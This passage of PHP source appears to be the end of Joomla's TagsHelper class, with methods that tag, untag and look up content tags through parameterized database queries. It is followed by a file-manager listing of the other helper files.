     * @return  boolean  true on success, otherwise false.
     *
     * @since   3.1
     */
    public function tagItem($ucmId, TableInterface $table, $tags = [], $replace = true)
    {
        $key     = $table->getKeyName();
        $oldTags = $this->getTagIds((int) $table->$key, $this->typeAlias);
        $oldTags = explode(',', $oldTags);
        $result  = $this->unTagItem($ucmId, $table);

        if ($replace) {
            $newTags = $tags;
        } else {
            if ($tags == []) {
                $newTags = $table->newTags;
            } else {
                $newTags = $tags;
            }

            if ($oldTags[0] != '') {
                $newTags = array_unique(array_merge($newTags, $oldTags));
            }
        }

        if (\is_array($newTags) && \count($newTags) > 0 && $newTags[0] != '') {
            $result = $result && $this->addTagMapping($ucmId, $table, $newTags);
        }

        return $result;
    }

    /**
     * Method to untag an item
     *
     * @param   integer         $contentId  ID of the content item being untagged
     * @param   TableInterface  $table      Table object being untagged
     * @param   array           $tags       Array of tags to be untagged. Use an empty array to untag all existing tags.
     *
     * @return  boolean  true on success, otherwise false.
     *
     * @since   3.1
     */
    public function unTagItem($contentId, TableInterface $table, $tags = [])
    {
        $key   = $table->getKeyName();
        $id    = (int) $table->$key;
        $db    = Factory::getDbo();
        $query = $db->getQuery(true)
            ->delete($db->quoteName('#__contentitem_tag_map'))
            ->where(
                [
                    $db->quoteName('type_alias') . ' = :type',
                    $db->quoteName('content_item_id') . ' = :id',
                ]
            )
            ->bind(':type', $this->typeAlias)
            ->bind(':id', $id, ParameterType::INTEGER);

        if (\is_array($tags) && \count($tags) > 0) {
            $tags = ArrayHelper::toInteger($tags);

            $query->whereIn($db->quoteName('tag_id'), $tags);
        }

        $db->setQuery($query);

        return (bool) $db->execute();
    }

    /**
     * Function that converts tag ids to their tag id and tag names
     *
     * @param   array  $tagIds  Array of integer tag ids.
     *
     * @return  array  An array of tag id and name.
     *
     * @since   4.4.0
     */
    public function getTags($tagIds)
    {
        $tagNames = [];

        if (\is_array($tagIds) && \count($tagIds) > 0) {
            $tagIds = ArrayHelper::toInteger($tagIds);

            $db    = Factory::getDbo();
            $query = $db->getQuery(true)
                ->select([$db->quoteName('id'), $db->quoteName('title')])
                ->from($db->quoteName('#__tags'))
                ->whereIn($db->quoteName('id'), $tagIds)
                ->order($db->quoteName('title'));

            $db->setQuery($query);
            $tagNames = $db->loadAssocList('id', 'title');
        }

        return $tagNames;
    }
}

Filemanager

Name Type Size Permission Actions
AuthenticationHelper.php File 5.65 KB 0664
CMSHelper.php File 3.72 KB 0664
ContentHelper.php File 8.46 KB 0664
HelperFactory.php File 1.58 KB 0664
HelperFactoryAwareInterface.php File 736 B 0664
HelperFactoryAwareTrait.php File 1.31 KB 0664
HelperFactoryInterface.php File 735 B 0664
LibraryHelper.php File 5.54 KB 0664
MediaHelper.php File 17.52 KB 0664
ModuleHelper.php File 24.05 KB 0664
PublicFolderGeneratorHelper.php File 7.14 KB 0664
RouteHelper.php File 8.49 KB 0664
TagsHelper.php File 42.17 KB 0664
UserGroupsHelper.php File 6.96 KB 0664
Filemanager